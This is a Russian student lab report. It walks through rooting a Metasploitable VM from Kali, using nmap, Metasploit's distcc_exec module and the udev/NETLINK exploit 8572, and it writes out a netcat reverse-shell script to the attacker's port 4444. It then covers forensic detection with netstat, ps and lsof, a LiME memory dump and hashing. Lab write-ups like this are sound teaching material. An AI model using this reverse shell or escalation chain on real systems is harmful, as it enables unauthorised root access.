Тыщенко Леонид Михайлович, 11-902

Лабораторная работа №1.Использование DISTCC для получения прав root.

## Создание виртуальной машины Kali Linux

Была создана виртуальная машина Kali Linux с требуемой конфигурацией

## Настройка сети между Metasploitable и Kali Linux.

1. Были получены и записаны ip для Metasploitable и Kali Linux, проверена доступность друг друга командой ping

Все дальнейшие действия проводятся на Kali Linux.

## Атака Metasploitable.

### Сканирование портов Metasploitable с помощью NMAP.

1. Просканированы порты Атакуемой системы (Metasploitable) с помощью команды nmap
2. distcc запущен на порту 3632 (grep 3632 /var/tmp/scan.txt);

### Запуск эксплоита distcc используя Metasploit.

1. запущен фреймворк Metasploit для атаки на систему;
2. проведён поиск distcc эксплоита командой search distcc для получение доступа к атакуемой системе;
3. запущен эксплоит: exploit/unix/misc/distcc\_exec.

### Выбор и настройка дополнительного загрузчика для эксплоита distcc.

В качестве загрузчика эксплоита был выбран ruby сервер и установлен адрес системы, на которую планируется атака

### Получение доступа к Metasploitable.

1. Подключение к системе с помощью загрузчика эксплоита

### Скачивание эксплоита *exploit-8572.*

NETLINK – протокол для обмена информацией между пространствами ядра и пользователя. Он состоит из стандартного сокет-подобного интерфейса для процессов пространства пользователя и внутренних API для модулей ядра.

Данный эксплоит позволяет подделывать сообщения протокола NETLINK 1.4.1 (включительно), поскольку протокол не проверял произошло ли сообщение от пространства ядра или нет, позволяя тем самым повышать привилегии посылая сообщения из пространства пользователя.

1. скачан эксплоит из базы эксплоитов

### Создание netcat сессии для удаленного управления.

1. открыт порт 4444 для прослушивания входящих подключений на атакующей системе.

### Использование *exploit-8572* для предоставления удаленной консоли с правами root по netcat.

1. скрипт, запускаемый на атакуемой системе для подключение к атакующей системе:

echo '#!/bin/sh' > /tmp/run;

echo '/bin/netcat -e /bin/sh KL\_IP 4444' >> /tmp/run;

1. запустить скрипт с имитацией, что процесс является родительским для менеджера.

В результате выполнения эксплоита менеджер устройств udev создаст блочное устройство с правами root, которое в свою очередь выполняет скрипт /tmp/run. В результате для атакующей машины будет предоставлена консоль(удаленный доступ) на порту 4444 с правами root.

## Форензика.

### Выявление аномальной активности. Привязывание сетевых подключений к идентификаторам процессов.

1. выполнить команду netstat –noap | less;

В разделе tcp соединений мы видны прослушивающиеся и установленные соединения на данный момент.

Присутствуют неизвестные соединения с ip адреса 192.168.164.1298, использующие порт 4444. За первое соединение отвечает процесс 2770 на котором выполняется shell (далее SH\_PID). За второй процесс 2769 на котором выполняется ruby (далее RUBY\_PID).

1. выполнить команды:

ps -eaf | grep RUBY\_PID | grep -v grep;

ps -eaf | grep SH\_PID | grep -v grep;

Процесс RUBY\_PID выполняет простой скрипт, запускающий сервер и предоставляющий сокет для приема и команд и выполнения в терминале.

Процесс SH\_PID представляет собой обычный shell, запущенный некоторым родительским процессом с правами root. При просмотре информации о родительском процессе командой:

ps -eaf | grep P\_SH\_PID | grep -v grep;

, где P\_SH\_PID – pid родительского процесса SH\_PID,

мы видим, что он был запущен /tmp/run скриптом от init процесса с наивысшими привилегиями.

lsof | grep 4444;

RUBY\_PID запущен с правами демона, в то время как SH\_PID с правами root.

### Используем lsof для анализа демона с процессом RUBY\_PID.

1. выполните команду lsof –p RUBY\_PID;

Необычная активность на порту 4444 идущая от Metasploitable до Kali Linux.

### Используем lsof для анализа netcat сессии c процессом SH\_PID и root правами.

1. выполните команду lsof –p SH\_PID;

Видны установленные соединения с правами root, идущие от Metasploitable до Kali Linux, что является ненормальным.

### Используем ps для анализа netcat сессии с процессом SH\_PID и root правами.

1. выполнена команду ps -eaf | grep -v grep | grep SH\_PID;
2. также выведен результат команды ps -eaf | grep -v grep | grep P\_SH\_PID;
3. командой cat /tmp/run выведено содержимое скрипта предоставившего shell удаленной машине.

На выводе скрипта видно, что клиент netcat подключился к серверу 192.168.164.129:4444 и предоставил ему /bin/sh.

## Создание дампа памяти с помощью LiME

### Подготовка директории.

1. создайте каталог /var/www/distcc командой mkdir –p /var/www/distcc;
2. смените владельца директории командой chown www-data:www-data /var/www/distcc;
3. измените права доступа командой chmod 755 /var/www/distcc;
4. подтвердите правильность выполнения командой ls -ld /var/www/distcc.

### Создание дампа.

1. перейдите в каталог /var/tmp/src командой cd /var/tmp/src;
2. выполнить создание дампа оперативной памяти Metasploitable c помощью команды: insmod ./lime-2.6.24-16-server.ko "path=/var/www/distcc/distcc\_memory.lime format=lime";
3. убедиться в создании дампа командой ls -l /var/www/distcc/distcc\_memory.lime.

## Создание файлов для форензического анализа.

### Сохранение сведений о системе.

1. перейти в каталог / командой cd /;
2. сохранены  сведения о состоянии сетевых соединений и слушаемых на данном компьютере портах командой netstat -naop > /var/www/distcc/distcc\_netstat.txt;
3. сохранен вывод информации используюемых файлах процессами в системе командой lsof > /var/www/distcc/distcc\_lsof.txt;
4. сохранен отчёт о работающих процессах командой ps -eaf > /var/www/distcc/distcc\_pseaf.txt;
5. заархивировать все данные командой tar zcvf /var/www/distcc/tmp.tar.gz /tmp.

### Создание MD5 хеш-суммы.

1. создание MD5 хеш-сумм командой md5sum \* | tee distcc\_md5.txt.

## Результаты работы

